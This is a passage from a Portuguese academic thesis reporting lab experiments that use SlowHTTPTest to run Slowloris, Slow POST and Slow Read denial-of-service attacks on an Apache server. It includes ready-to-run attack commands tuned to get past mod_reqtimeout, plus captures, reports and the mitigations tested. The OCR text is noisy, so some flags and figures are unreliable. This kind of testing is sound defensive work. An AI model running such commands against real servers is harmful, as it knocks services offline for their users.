conexdes fechadas com erros e se o servidor encontra-se ativo ou inoperante. J4 na primeira
atualizacdo ¢é informado que o servico ndo se encontra disponivel. A Figura 4.5 mostra o
status do servidor Apache no inicio do ataque. Pode-se observar que toda sua capacidade
estd sendo utilizada. Ao tentar acessar a pagina teste pelo terceiro computador, o aviso da

Figura 4.6 é mostrado em seu browser.

Somente apds o tempo de duracdo do ataque, a pdgina volta a responder normalmente.
O teste resultou num arquivo com estatisticas gréaficas, no caso, denominada result.html. O
resultado do primeiro teste pode ser visualizado na Figura 4.7. Segundo o relatério fornecido
pela ferramenta, o servigco passa a ficar indisponivel no terceiro segundo apds o inicio do

ataque, e observa-se que a situacao se mantém estdvel até o fim do periodo.

Durante o ataque, foi utilizado o software Wireshark para capturar os pacotes que tran-
sitavam entre as maquinas. A Figura 4.8 mostra o inicio do ataque, com o atacante estabe-

lecendo diversas conexdes (three-way-handshake) com a vitima. Em seguida, na Figura 4.9,
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Apache Server Status for localhost (via ::1)

Server Version: Apache/2.4.10 (Win32) OpenSSL/1.0.1i PHP/5.6.3
Server MPM: WinNT
Apache Lounge VC11 Server Built: Tul 17 2014 11:50:08

Current Time: Monday. 22-Apr-2015 12:39:49E. South America Standard Time
Restart Time: Monday, 22-Apr-2015 12:37:01 E. South America Standard Time
Parent Server Config. Generation: 1

Parent Server MPM Generation: 0

Server uptime: 2 minutes 48 seconds

Server load: -1.00 -1.00 -1.00

Total accesses: 80 - Total Traffic: 371 kB

476 requests/sec - 2261 B/second - 4748 B/request

150 requests currently being processed, 0 idle workers

RRRARRRRRRRRRRRRRRRARRRRRRARRRRARRRRRRRRARRRRARRRRARRRRRRRRRRRRR
RRRARRRRRRRRARRRRRRARRRARRRARRRRARARRRRRRARARRARARRRRRRRRRRRRRRRR
RRRARRRRRRRRARRWRRRARR

Scoreboard Key:

"_" Waiting for Connection, "s" Starting up. "R” Reading Request
"W" Sending Reply. "k" Keepalive (read). "p" DNS Lookup.

"C" Closing connection. "L" Logging. "6" Gracefully finishing.
"I" ldle cleanup of worker. "." Open slot with no current process

SrvPID  Acc MSSReqConnChildSlot  Client VHost Request
0-0 66360/00 R 130 00 000 0.00192.168.1.103
0-066360/000 R 130 00 000 000192168.1.103
0-066360/0/0 R 130 00 000 000192.168.1.103
0-066360/000 R 130 00 000 000192.168.1.103
0-0 66360000 R 130 00 000 000192.168.1.103
0-0 66360/00 R 130 00 000 0.00192.168.1.103
0-0 66360/00 R 130 00 000 0.00192.168.1.103
0-0 66360/00 R 130 00 000 0.00192.168.1.103
0-0 66360/00 R 130 00 000 0.00192.168.1.103
0-066360/000 R 130 00 000 000192168.1.103
0-066360/0/0 R 130 00 000 000192.168.1.103
0-066360/000 R 130 00 000 000192.168.1.103
0-0 66360000 R 130 00 000 000192.168.1.103

Figura 4.5: Status do servidor Apache no inicio do ataque.

< € | [1192.168.1.102

B

This webpage is not available

Details Reload

Figura 4.6: Pagina de teste indisponivel durante o ataque.

pode-se observar as conexdes enviando particulas de cabecalho para o servidor Web.

No caso do comando utilizado, uma requisi¢do inicial GET € enviada e, ap0s isso, a cada
10 segundos um fragmento aleatdrio de cabegalho (ndo maior que 24 bytes) € enviado ao
servidor. Isso se repete até que a conexdo seja encerrada ou até o teste chegar ao tempo
maximo, no caso, apds 600 segundos. Para verificar se a pagina estd ou ndo ativa, existe um
socket de teste (Probe socket), que faz a checagem enviando requisicdes GET completas ao
servidor. Se 0 mesmo ndo responder no tempo definido pelo parametro —p, ja se considera
um caso de negacao de servico.
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Test parameters

Test type SLOW HEADERS
Number of connections 1000

Verb GET
Content-Length header value 4096

Extra data max length 52

Interval between follow up data 10 seconds
Connections per seconds 200

Timeout for probe connection 3

Target test duration 600 seconds
Using proxy no proxy

Test results against http://192.168.1.102/

B Closed
M Pending
800 Connected
M Service
w available
s 600
L
2
c
=1 400
s
200
0
D o o] R LV IR ) R R
o o B q)_‘bg PP ¥ Ay %Ep ) bd:p a7 GV o
Seconds
. s . .
Figura 4.7: Relatério ao final do ataque Slowloris.
No. Time Source Destination Protocal Length Info
o e oo oot TR T oTTT ST RS T R TR T T TES T T TSt woer
39 3.152192.168.1.102 192.168.1.103 TCP 74 BO-35877 [SYN, Ack=1 Win=8192 Len=0 M55=1460 W5=256 SACK_PERM=1 TSval=147689 TSecr=256218
40 3.152192.168.1.103 192.168.1.102 TCP 74 35878+80 [SYN] Seq=0 Win=29200 Len=0 Ms5=1460 SACK_PERM=1 TSval=256218 Tsecr=0 Ws=128
41 3.152192.168.1.102 192.168.1.103 TCP 74 B0-35878 [SYN, ACK] Seq=0 Ack=1 Win=8192 Len=0 M55=1460 W5=256 SACK_PERM=1 TSval=147689 TSecr=256219
42 3.154192.168.1.103 192.168.1.102 TCP 66 35877+80 [ACK] Seq=1 Ack=1 win=29312 Len=0 Tsval=256220 Tsecr=147689
43 3.154192.168.1.103 192.168.1.102 TCP 66 35878-80 [ACK] Seq=1 Ack=1 Win=29312 Len=0 T5val=256220 TSecr=147689
44 3.157192.168.1.103 192.168.1.102 TCP 74 35879+80 [SYN] Seq=0 win=29200 Len=0 Ms5=1460 SACK_PERM=1 TSval=256221 Tsecr=0 WS=128
45 3.157192.168.1.102 192.168.1.103 TCP 74 80-35879 [SYN, ACK] Seq=0 Ack=1 Win=8192 Len=0 M55=1460 W5=256 SACK_PERM=1 TSval=147689 TSecr=256221
48 3.159192.168.1.103 192.168.1.102 TCP 66 35879-80 [ACK] seq=1 Ack=1 win=29312 Len=0 Tsval=256221 Tsecr=147689
49 3.162192.168.1.103 192.168.1.102 TCP 74 35880-80 [SYN] Seq=0 Win=29200 Len=0 M55=1460 SACK_PERM=1 T5val=256222 TSecr=0 W5=128
50 3.162192.168.1.102 192.168.1.103 TCP 74 80-35880 [SYN, ACK] Seq=0 Ack=1 win=8192 Len=0 M55=1460 W5=256 SACK_PERM=1 Tsval=147690 Tsecr=256222
52 3.164192.168.1.103 192.168.1.102 TCP 66 35880-80 [ACK] Seq=1 Ack=1 Win=29312 Len=0 T5val=256222 TSecr=147690
53 3.167192.168.1.103 192.168.1.102 TCP 74 35881-80 [SYN] Seq=0 win=29200 Len=0 Ms5=1460 SACK_PERM=1 Tsval=256223 Tsecr=0 WS=128
54 3.167192.168.1.102 192.168.1.103 TCP 74 B0-35881 [SYN, ACK] Seq=0 Ack=1 Win=8192 Len=0 M55=1460 W5=256 SACK_PERM=1 TSval=147690 TSecr=256223
56 3.169192.168.1.103 192.168.1.102 TCP 66 3588180 [ACK] seq=1 Ack=1 win=29312 Len=0 Tsval=256224 Tsecr=147690
57 3.174192.168.1.103 192.168.1.102 TCP 74 35882-80 [SYN] Seq=0 Win=29200 Len=0 M55=1460 SACK_PERM=1 T5val=256225 TSecr=0 W5=128
58 3.174192.168.1.102 192.168.1.103 TCP 74 B0-35882 [SYN, ACK] Seq=0 Ack=1 win=8192 Len=0 MS5=1460 wWs=256 SACK_PERM=1 Tsval=147691 Tsecr=256225
60 3.178192.168.1.103 192.168.1.102 TCP 74 35883-80 [SYN] Seq=0 Win=29200 Len=0 M55=1460 SACK_PERM=1 TSval=256226 TSecr=0 W5=128
61 3.178192.168.1.102 192.168.1.103 TcP 74 80-35883 [SYN, ACK] Seq=0 Ack=1 Win=8192 Len=0 MSS5=1460 WS=256 SACK_PERM=1 Tsval=147691 Tsecr=256226
62 3.178192.168.1.103 192.168.1.102 TCP 66 35882-80 [ACK] Seg=1 Ack=1 Win=29312 Len=0 T5val=256226 TSecr=147691
63 3.182192.168.1.103 192.168.1.102 TCP 66 3588380 [ACK] Seq=1 Ack=1 win=29312 Len=0 Tsval=256227 Tsecr=147691
64 3.185192.168.1.103 192.168.1.102 TCP 74 35884-80 [SYN] Seq=0 Win=29200 Len=0 M55=1460 SACK_PERM=1 TSval=256227 TSecr=0 w5=128
65 3.185192.168.1.102 192.168.1.103 TcP 74 80-35884 [SYN, ACK] Seq=0 Ack=1 Win=8192 Len=0 MSS5=1460 WS=256 SACK_PERM=1 Tsval=147692 Tsecr=256227
68 3.189192.168.1.103 192.168.1.102 TcP 66 35884~80 [ACK] Seq=1 Ack=1 win=29312 Len=0 Tsval=256228 Tsecr=147692

Figura 4.8: Conexdes sendo estabelecidas no inicio do ataque.

4.1.3 Experimento 2: Ataque a um servidor Apache (com médulo de seguranca)
usando a ferramenta SlowHTTPTest em modo Slowloris

A Apache Software Foudation disponibilizou para versdes a partir de 2.2, o médulo
mod_reqtimeout, que determina o timeout € 0 minimo de taxa de dados por requisi¢ao rece-
bida pelo servidor. O moédulo foi criado para controlar conexdes lentas, buscando minimizar

os efeitos de um ataque lento de negacdo de servigo.

Embora seja uma importante ferramenta do Apache, esse médulo de seguranca nao
vem ativado por padrdo. Para fazer uso € necessdrio acessar o arquivo .../xampp/apa-
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Mo,  Time Source Destination Protocel Length  Info
5167 22.13192.168.1.103 192.168.1.102 HTTP 110 Continuation

@ Frame 5167: 110 bytes on wire (880 bits), 110 bytes captured (880 bits) on interface 0

@ Ethernet II, src: LiteonTe_b5:c6:e5 (74:de:2b:b5:c6:e5), Dst: Intelcor_3e:f3:b4 (00:24:d6:3e:f3:b4)

@ Internet Protocol version 4, Src: 192.168.1.103 (192.168.1.103), Dst: 192.168.1.102 (192.168.1.102)

@ Transmission Control Protocol, [src Port: 35877 (35877), Dst Port: 80 (80)|, seq: 193, Ack: 1, Len: 44

E Hypertext Transfer Protocol
X-FEOGEKNHfQenxteewwdsaC: zaghlTrvyokfqsgvhirin

5168 23.13192.168.1.103 192.168.1.102 HTTP 96 Continuation

# Frame 5168: 96 bytes on wire (768 bits), 96 bytes captured (768 bits) on interface 0
# Ethernet II, Src: LiteonTe_b5:c6:e5 (74:de:2b:b5:c6:e5), Dst: IntelCor_3e:f3:b4 (00:24:d6:3e:f3:b4)
# Internet Protocol Version 4, Src: 192.168.1.103 (192.168.1.103), Dst: 192.168.1.102 (192.168.1.102)

@ Transmission Control Protocol, [Src Port: 35878 (358/8), Dst Port: 80 (80)|, Seq: 197, Ack: 1, Len: 30
= Hypertext Transfer Protocol

X-60yRh: L25pI4pqub5Ro0ZAnTitrin
5169 23.13192.168.1.103 192.168.1.102 HTTP 91 continuation

@ Frame 5169: 91 bytes on wire (728 bits), 91 bytes captured (728 bits) on interface 0

@ Ethernet II, src: LiteonTe_b5:c6:e5 (74:de:2b:b5:c6:e5), Dst: Intelcor_3e:f3:b4 (00:24:d6:3e:f3:b4)

# Internet Protocol Version 4, Src: 192.168.1.103 (192.168.1.103), Dst: 192.168.1.102 (192.168.1.102)

# Transmission Control Protoco1,|src port: 35879 (35879), Dst Port: 80 (SD)L seq: 200, ack: 1, Len: 25

£ Hypertext Transfer Protocol
X-z: wlcg9o7e7GU3thbvZFfirin

Figura 4.9: Conexdes enviando particulas de cabecalho ao servidor.

che/httpd.conf e retirar o caracter # antes da linha:
LoadModule regtimeout_module modules/mod_regtimeout.so.

A diretiva para o médulo encontra-se em .../xampp/apache/conf/extra/httpd-default.conf
e, por padrdo, h4 a linha:

RequestReadTimeout header=20-40,MinRate=500 body=20,MinRate=500.

Isso signica: permite-se pelo menos 20 segundos para receber a requisi¢ao incluindo o ca-
becalho. Se o cliente envia dados, adiciona-se um segundo para cada 500 bytes recebidos,
porém ndo mais que 40 segundos. Também, para o corpo da mensagem, estipula-se o mi-
nimo de 20 segundos para seu recebimento, aumentando um segundo de prazo para cada 500
bytes recebidos.

Depois de ativar o médulo de seguranga foi realizado o ataque no modo Slowloris usando-
se 0os mesmo parametros do comando mostrado no Quadro 4.1. A Figura 4.10 mostra o status
do servidor logo apés o inicio do ataque.



Apache Server Status for localhost (via ::1)

Server Version: Apache/2.4.10 (Win32) OpenSSL/1.0.11 PHP/5.6.3
Server MPM: WinNT
Apache Lounge VC11 Server Built: Jul 17 2014 11:50:08

Current Time: Thursday, 30-Apr-2015 01:27:22 E. South America Standard Time
Restart Time: Thursday, 30-Apr-2015 01:24:45 E. South America Standard Time
Parent Server Config. Generation: 1

Parent Server MPM Generation: 0

Server uptime: 2 minutes 37 seconds

Server load: -1.00 -1.00 -1.00

Total accesses: 38 - Total Traffic: 132 kB

242 requests/sec - 860 B/second - 3557 B/request

150 requests currently being processed. 0 idle workers
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Scoreboard Key:

"_" Waiting for Connection. "s" Starting up. "R" Reading Request.
"W" Sending Reply. "k" Keepalive (read). "0" DNS Lookup.

"c" Closing connection. "L" Loggmg. "6" Gracefully finishing.

"I" Idle cleanup of worker. "." Open slot with no current process

SrvPID  Acc MSS Req Conn Child Slot Client VHost Request
0-0 46320000 RO 0.0 0.00 0.00192.168.1.103
0-0 46320000 RO 0.0 0.00 0.00192.168.1.103
0-0 46320000 RO 0.0 0.00 0.00192.168.1.103
0-0 46320000 RO 0.0 0.00 0.00192.168.1.103
0-0 46320000 RO 0.0 0.00 0.00192.168.1.103
0-0 46320000 RO 0.0 0.00 0.00192.168.1.103
0-0 46320000 RO 0.0 0.00 0.00192.168.1.103
0-0 46320000 RO 0.0 0.00 0.00192.168.1.103
0-0 46320000 RO 0.0 0.00 0.00192.168.1.103
0-0 46320000 RO 0.0 0.00 0.00192.168.1.103
0-0 46320000 RO 0.0 0.00 0.00192.168.1.103
0-0 46320000 RO 0.0 0.00 0.00192.168.1.103
0-0 46320000 RO 0.0 0.00 0.00192.168.1.103
0-0 46320000 RO 0.0 0.00 0.00192.168.1.103

coocoocococooo oo o

Figura 4.10: Status do servidor Apache com mdédulo de seguranca no inicio do ataque.

Mesmo com uso do mddulo, logo no inicio, com trés segundos, a pagina sai do ar. O
estado permanece inalterado até a contagem de 42 segundos. A partir dai o site volta a ficar
disponivel. Durante a execucdo do SlowHTTPTest, constata-se que as conexdes vao sendo
encerradas até que a ferramenta pare de enviar requisi¢des e encerre o teste. Apesar de o ata-
que estar configurado para durar 600 segundos, 0 mesmo interrompe-se definitivamente com
63 segundos devido ao esgotamento das conexdes. A Figura 4.11 mostra o resultado final da
ferramenta SlowHTTPTest e a Figura 4.12 mostra o relatorio gerado apds o encerramento do

Pprocesso.
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slowhttptest version 1.6
- https://code.google.com/p/slowhttptest/ -
SLOW HEADERS

//192.168.1.102/

Thu Apr 30 ©1:28:19 2015:
slow HTTP test status on th second:

initializing: (0]
pending: o]
connected: 52
error: <]
closed: 948
service available: YES
Thu Apr 30 01:28:22 2815:

No open connections left
apachecommod2.csv
pachecommod2. html

Figura 4.11: Ferramenta SlowHTTPTest ao final do ataque ao servidor com médulo de se-
guranga ativo.

Test parameters

Test type SLOW HEADERS
Number of connections 1000

Verb GET
Content-Length header value 4096

Extra data max length 52

Interval between follow up data 10 seconds
Connections per seconds 200

Timeout for probe connection 3

Target test duration 600 seconds
Using proxy no proxy

Test results against hittp://192.168.1.102/

] M Closed
[l Pending
800 Connected
B Service
" available
5 600
D
3
8 400
200
0

Q b5} 4}() \_‘3 1_0 '1‘3 2D '3‘3 o o c:,f} e

Seconds

Figura 4.12: Relatorio ao final do ataque Slowloris em servidor Apache utilizando o médulo
de seguranga.
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4.1.4 Experimento 3: Ataque a um servidor Apache (com moédulo de seguranca ati-
vado) usando a ferramenta SlowHTTPTest em modo Slowloris intensificado

A fim de intensificar o ataque contra o servidor Apache, uma variagdo do ataque ante-
rior foi realizada. A ferramenta foi configurada a executar o ataque com 4000 conexdes, ao
invés de apenas 1000. O intervalo de dados enviados foi reduzido de 10 para 5 segundos e
o tamanho médximo de dados foi aumentado de 250 bytes. As alteracdes foram pensadas de
modo a dificultar a atuagdo do médulo de seguranga. O comando modificado € apresentado
no Quadro 4.2.

slowhttptest —c 4000 -H —g —o result —i 5 —r 200 —t GET —u
http://192.168.1.102 —1 600 —x 250 —p 3

Quadro 4.2: Comando de ataque SlowHTTPTest no modo Slowloris com 4000 conexdes

Desta vez, com quatro vezes mais conexdes que o teste anterior, o Apache teve mais difi-
culdade de manejar os ataques. Novamente a pagina sai do ar, dessa vez aos quatro segundos.
O estado de negacgdo de servigo continua até o instante "62 segundos". Apds isso, a pagina ja
podia ser acessada normalmente. O mddulo de seguranga impede que a ferramenta funcione
até o final do tempo estipulado, interrompendo o ataque apds 83 segundos, lembrando que
o SlowHTTPTest deveria seguir enviando vagarosas requisi¢des durante 600 segundos. O
relatdrio pos-ataque € mostrado na Figura 4.13.

4.1.5 Experimento 4: Ataque a um servidor Apache usando a ferramenta SlowHTTP-
Test em modo Slow POST

Neste experimento é utilizado o modo Slow POST da ferramenta SlowHTTPTest. O
comando para o ataque, mostrado no Quadro 4.3, faz com que haja 1000 conexdes com du-
racdo total de 600 segundos, e que a cada intervalo de 110 segundos uma particula do corpo
da mensagem seja enviada ao servidor. Além disso, € usado o parametro —v 4 para que a

ferramenta mostre todo o trafego que ocorre durante o procedimento.

slowhttptest —c 1000 —B —g —o slowpost —i 110 —r 200 —s 8192 —t POST —u
http://192.168.1.102 —v 4 —1 600 —x 10 —p 3

Quadro 4.3: Comando de ataque SlowHTTPTest no modo Slow POST

A Figura 4.14 mostra o estado do servidor logo apds a execugdo do ataque.

Diversos sockets vao sendo criados logo no inicio do ataque e, a cada conexao, € enviado
o cabecalho juntamente com a primeira particula no corpo da mensagem (foo=bar), como
evidenciado na Figura 4.15.
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Test parameters

Test type SLOW HEADERS
Number of connections 4000

Verb GET
Content-Length header value 4096

Extra data max length 504

Interval between follow up data 5 seconds
Connections per seconds 200

Timeout for probe connection 3

Target test duration 600 seconds
Using proxy no proxy

Test results against http://192.168.1.102/

4,000 ‘| H Closed
M Pending
I Connected
3,000 W Service
@ available
S
g 2,000
=
s
s}
1000 — /
0

O B 40 b Al 0 4 o h T P R o

Seconds

Figura 4.13: Relatdrio ao final do ataque Slowloris com 4000 conexdes em servidor Apache
utilizando o médulo de seguranca.

Apache Server Status for localhost (via ::1)

Server Version: Apache2.4.10 (Win32) OpenSSL/1.0.11 PHP/5.6.3
Server MPM: WinNT
Apache Lounge VC11 Server Built: Tul 17 2014 11:50:08

Current Time: Fraday. 01-May-2015 01:23:26 E. South America Standard Time
Restart Time: Friday, 01-May-2015 01:07:17 E. South America Standard Time
Parent Server Config. Generation: 1

Parent Server MPM Generation 0

Server uptime: 16 minutes 9 seconds

Server load: -1.00 -1.00 -1.00

Total accesses: 320 - Total Traffic: 2.0 MB

546 requests/sec - 2177 B/second - 3980 Blrequest

130 requests currently being processed. 0 idle workers

AR el bl

Scoreboard Key:

"_" Waiting for Connection, "s" Starting up. "R" Reading Request.
"W" Sending Reply. "K" Keepalive (read). "D" DNS Lookup.

"C" Closing connection. "L" Logging. "6" Gracefully finishing.
"I" Idle cleanup of worker. "." Open slot with no current process

Srv PID Acc M SSReq Conn Child Slot Client VHost Request
0-0 25736 0/0/0 WI180 0.0 0.00 0.00192.168.1.103localhost:30POST /HTTP/1.1
0-0 25736 0/0/0 WI180 0.0 0.00 0.00192.168.1.103localhost:30POST /HTTP/1.1
0-0 25736 0/0/0 WI180 00 000 0.00192.1681.103localhost:830POST /HTTP/1.1
0-0 25736 0/0/0 WI180 00 000 0.00192.168.1.103localhost:80POST / HTTP/1.1
0-0 25736 0/0/0 WI180 00 000 0.00192.168.1.103localhost:80POST /HTTP/1.1
0-0 25736 0/0/0 WI180 00 000 0.00192.168.1.103localhost:80POST /HTTP/1.1
0-0 257360/0/0 WI180 00 0.00 0.00192.168.1.103localhost:80POST /HTTP/1.1
0-0 25736 0/0/0 WI180 0.0 0.00 0.00192.168.1.103localhost:30POST /HTTP/1.1
0-0 25736 0/0/0 WI180 0.0 0.00 0.00192.168.1.103localhost:30POST /HTTP/1.1
0-0 25736 0/0/0 WI180 0.0 0.00 0.00192.168.1.103localhost:30POST /HTTP/1.1
0-0 25736 0/0/0 Wi180 0.0 0.00 0.00192.168.1.103localhost:830POST /HTTP/1.1
0-0 25736 0/0/0 WI180 00 000 0.00192.168.1.103localhost:80POST / HTTP/1.1
0-0 25736 0/0/0 WI180 00 000 0.00192.168.1.103localhost:80POST / HTTP/1.1

Figura 4.14: Estado do servidor Apache no inicio do ataque Slow POST.
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POST / HTTP/1.1

Host: 192.168.1.102

User-Agent: Mozilla/5.@ (Macintosh; Intel Mac 0S5 X 10_7_0) AppleWebKit/534.38 (KHTML, like
Gecko) Chrome/12.0.742.122 Safari/534.30

Referer: http://code.google.com/p/slowhttptest/

Content-Length: 8192
Connection: close
Content-Type: application/x-www-form-urlencoded
ccept: text/html;q=0.9,text/plain;q=0.8,1image/png,*/*;q=0.5

foo=bar

Figura 4.15: Requisi¢do POST sendo enviada ao servidor.

A pagina fica inacessivel ja no quarto segundo apds o inicio do ataque. Apds o primeiro
intervalo de 110 segundos, a segunda particula do corpo da mensagem ¢é enviada com carac-
teres aleatorios. Na Figura 4.16, € possivel observar particulas de corpo sendo enviadas aos

sockets de nimero 347 a 351.
12 of 12 bytes of follow up data sent on socket 347:

:run_test:11 of 11 bytes of follow up data sent on socket 348:

4 follow ups left
Fri May 1 ©01:24:47 2015:run_test:5 of 5 bytes of follow up data sent on socket 349:
&p=8N
4 follow ups left
1 01:24:47 2015:run_test:4 of 4 bytes of follow up data sent on socket 350:

4 follow ups left

Fri May 1 01:24:47 2015:run_test:18 of 18 bytes of follow up data sent on socket 351:
&bQPgKLO=6Yg9qasYi

4 follow ups left

Figura 4.16: Particulas do corpo da mensagem HTTP sendo enviadas aos sockets.

O servidor fica indisponivel até o fim do ataque (600 segundos) e o relatério do SlowHTTP-

Test € mostrado na Figura 4.17.

4.1.6 Experimento 5: Ataque a um servidor Apache (com médulo de seguranca)
usando a ferramenta SlowHTTPTest em modo Slow POST

Novamente, para testar a eficiéncia do moédulo mod_reqtimeout, o ataque foi repetido
utilizando-se 0 mesmo comando mostrado no Quadro 4.3. Assim como no Experimento 2,
o médulo foi capaz de encerrar as conexdes utilizadas pela ferramenta, fazendo com que a
pagina ficasse indisponivel por somente 37 segundos e ainda interrompeu o procedimento

aos 62 segundos.

A diretiva de protecdo para o ataque Slow POST € de se esperar 20 segundos para o
recebimento completo da mensagem e, caso haja transmissdo de pelos menos 500 bytes, a
contagem € acrescida de um segundo. Isso € suficiente para impedir que o ataque prossiga até
o tempo previamente determinado de 600 segundos. O relatério final € mostrado na Figura
4.18.

41



Test parameters

Test type SLOW BODY
Number of connections 1000

Verb POST
Content-Length header value 8192

Extra data max length 22

Interval between follow up data 110 seconds
Connections per seconds 200
Timeout for probe connection 3

Target test duration 600 seconds
Using proxy no proxy

Test results against http://192.168.1.102/

B Closed
[l Pending
800 Connected

M Service
available

600

400

Connections

200

0

S o 3_’5‘3 3_%0 rj-:l.c’ rﬁa -5'\.‘:3 -560 ﬁﬁc’ I3,6:10 &9‘3 ‘DBQ coﬁcj

Seconds

Figura 4.17: Relatério final apds ataque Slow POST.

4.1.7 Experimento 6: Intensificando um ataque a um servidor Apache (com médulo
de seguranca) usando a ferramenta SlowHTTPTest em modo Slow POST

Com o objetivo de intensificar o ataque Slow POST e procurar transpor a prote¢do do
modulo mod_regtimeout, foi executado mais uma vez o ataque, desta vez modificando os
parametros da ferramenta SlowHTTPTest.

Sabendo que o tempo méaximo estipulado pela diretiva é de 20 segundos, com acréscimos
de 1 segundo a cada 500 bytes recebidos, modificou-se o intervalo de envio de dados para
8 segundos, e para receber o tempo adicional foi escolhido um tamanho maximo de dados
para 501 bytes. Além disso, quadruplicou-se o nimero de conexdes. O comando utilizado
neste experimento encontra-se no Quadro 4.4.

slowhttptest —c 4000 —B —g —o slowpost2 —i 8 —r 200 —s 8192 —t POST —u
http://192.168.1.102 —v 4 —1 600 —x 501 —p 3

Quadro 4.4: Comando de ataque SlowHTTPTest no modo Slow POST modificado

Houve uma melhora significativa no que se refere a eficiéncia do ataque. O servidor
Apache permaneceu indisponivel do instante 4 ao instante 76 segundos, totalizando 72 se-
gundos contra 37 segundos do experimento anterior. O mdédulo se seguranca foi capaz de
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Test parameters

Test type SLOW BODY
Number of connections 1000

Verb POST
Content-Length header value 8192

Extra data max length 22

Interval between follow up data 110 seconds
Connections per seconds 200

Timeout for probe connection 3

Target test duration 600 seconds
Using proxy no proxy

Test results against http://192.168.1.102/

] M Closed

[l Pending

B Connected

M Service
available

800

600

Connections

200

0
D9 AR aB R 95 AP D D D P P P

Seconds

Figura 4.18: Relatério final apds ataque Slow POST com médulo de seguranga ativado.

interromper a execucdo da ferramenta somente depois de 110 segundos. No caso anterior, o
tempo maximo foi de 62 segundos. O relatdrio final deste ataque € mostrado na Figura 4.19.

Test parameters

Test type SLOW BODY
Number of connections 4000

Verb POST
Content-Length header value 8192

Extra data max length 1004
Interval between follow up data & seconds
Connections per seconds 200

Timeout for probe connection 3

Target test duration 600 seconds
Using proxy no proxy

Test results against http://192.168.1.102/
4,000 =y

3,000 /
2,000 /
1,000 |

B8 P g BB b P T D D P

M Ciosed

[l Pending

1 Connected

W Senvice
available

Connections

Seconds

Figura 4.19: Relatdrio final apds ataque Slow POST intensificado.
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4.1.8 Experimento 7: Ataque a um servidor Apache usando a ferramenta SlowHTTP-
Test em modo Slow Read

O ataque de negacdo de servigo Slow Read é um dos ataques mais sofisticados na atuali-
dade. Ao contrario do Slowloris e Slow POST, esta técnica prolonga o tempo de resposta do
servidor Web. O ataque torna-se efetivo a partir do momento que uma pagina tenha muito
conteddo e o cliente estipula uma janela pequena para receber as respostas. A pagina criada
para testes € ideal para essa modalidade.

O comando para esta modalidade de ataque € mostrado no Quadro 4.5. Os parametros
foram definidos para haver 1000 conexdes simultineas, criando 200 conexdes por segundo.
O cliente avisard que sua janela tem tamanho entre 512 e 1024 bytes, e lerd apenas 32 bytes
de cada vez. Além disso, tira-se proveito do recurso de pipelining, requisitando asssim, o
mesmo recurso trés vezes por socket. Por fim, o teste terd a duracao de 600 segundos.

slowhttptest —c 1000 —X —g —o slowread —r 200 —w 512 —y 1024 —n 5 —z 32
—k 3 —u http://192.168.1.102 —p 3 —1 600 —v 4

Quadro 4.5: Comando de ataque SlowHTTPTest no modo Slow Read

A Figura 4.20 mostra o estado do servidor Apache no inicio do ataque Slow Read.

Apache Server Status for localhost (via ::1)

Server Version: Apache2.4.10 (Wm32) OpenS3SL/1.0.1iPHP/5.6.3
WmNT
Apache Leunge VC11 Server Built: Jul 17 2014 11:50:08

E. South America Standard Time
E. Scuth America Standard Time

Current Tine:
Reestart Tim
Parent Server Conf
Parent Server I
Server uptine:
Sery

"" DNS Lookup.
"c" Clesmg connection, " mg. "s" Gracefully fiushmg,
Idle cleanup of worker, "." Open slot with no current process

Siv PID Acc M SSReq Conn Child Slot
0-0 40688222 W13 15 1 002 002
0-0 40688222
0-0 406882272
0-0 40688222
0-0 406882272

10

Client
0

VHost Request
02192.168.1.103 loca 1

Figura 4.20: Estado do servidor Web no inicio do ataque Slow Read.

Como pode ser visto na Figura 4.21, os sockets leem apenas 32 bytes por vez. E assim,
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com vdrias conexdes simultaneas e usando-se pipelining, o ataque € intensificado. O ataque

de 600 segundos ocorre até o fim, sem nenhuma interrupgao.

Mon May 4 82:07:07 2015:run_test: socket 6 replied 32 bytes:
Teste Slow DoS</div=>

<div cl
Mon May 4 ©2:07:07 2015:run_test: socket 7 replied 32 bytes:
Teste Slow DoS</div=

<div cl
Mon May 4 02:07:07 2015:run_test: socket 11 replied 32 bytes:
Teste Slow DoS</div=

<div cl
Mon May 4 ©2:07:07 2015:run_test: socket 10 replied 32 bytes:
Teste Slow DoS</div=>

=div cl
Mon May 4 ©2:07:07 2015:run_test: socket 15 replied 32 bytes:
Teste Slow DoS</div=>

<div cl
Mon May 4 02:07:07 2015:run_test: socket 16 replied 32 bytes:
Teste Slow DoS</div=

<div cl
Mon May 4 02:07:07 2015:run_test: socket 8 replied 32 bytes:
Teste Slow DoS</div=>

=div cl

Figura 4.21: Sockets lendo as respostas fragmentadas.

Ao contrario dos ataques Slow POST e Slowloris, este procedimento envia completa-
mente o cabegalho e corpo, mas 1€ a resposta da requisi¢do de forma bem lenta. O servico
fica fora de servico desde o instante 4 segundos até o final da contagem de 600 segundos. O
relatdrio disponibilizado apds o fim do ataque € mostrado na Figura 4.22.

Test parameters

Test type SLOW READ
Number of connections 1000
Receive window range 512 - 1024
Pipeline factor 3

Read rate from receive buffer 32 bytes /5 sec
Connections per seconds 200

Timeout for probe connection 3

Target test duration 600 seconds
Using proxy no proxy

Test results against http://192.168.1.102/

M Closed
[l Pending
800 Connected

W Semvice
available

5

600

onnectior

400

o
L

200

0

0 @ o \"5‘3 \'?p rﬂ." rﬂo -5\‘3 -560 gQ" ] lff’ csho c;%"

Seconds

Figura 4.22: Relatério final ap6s ataque Slow Read.
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4.1.9 Experimento 8: Ataque a um servidor Apache (com medidas de seguranca)
usando a ferramenta SlowHTTPTest em modo Slow Read

O médulo de seguranga mod_reqtimeout € bastante eficaz para os ataques de Slowloris
e Slow POST, porém, ndo é capaz de produzir os mesmos efeitos em casos de ataques Slow
Read. Uma forma de amenizar os efeitos dessa ameaca € desativar conexdes persistentes
e reduzir o tempo de Timeout. Isso pode gerar queda de desempenho mas, em troca,
aumenta-se a seguranca. Mais especificamente, a diretiva KeppAlive foi desabilitada e o

Timeout reduzido de 300 para 50 segundos.

O comando utilizado neste experimento foi o0 mesmo mostrado no Quadro 4.5. As me-
didas tomadas foram muito eficazes, como se vé€ na Figura 4.23. De acordo com o relatorio

final, o servico fica indisponivel somente durante 8 segundos no inicio do teste.

Test parameters

Test type SLOW READ
Number of connections 1000
Receive window range 512 - 1024
Pipeline factor 3

Read rate from receive buffer 32 bytes /5 sec
Connections per seconds 200

Timeout for probe connection 3

Target test duration 600 seconds
Using proxy no proxy

Test results against hitp://192.168.1.102/

M Closed

M Pending

200 Connected

B Service
available

1%

annection

600

400

o
L

200

0
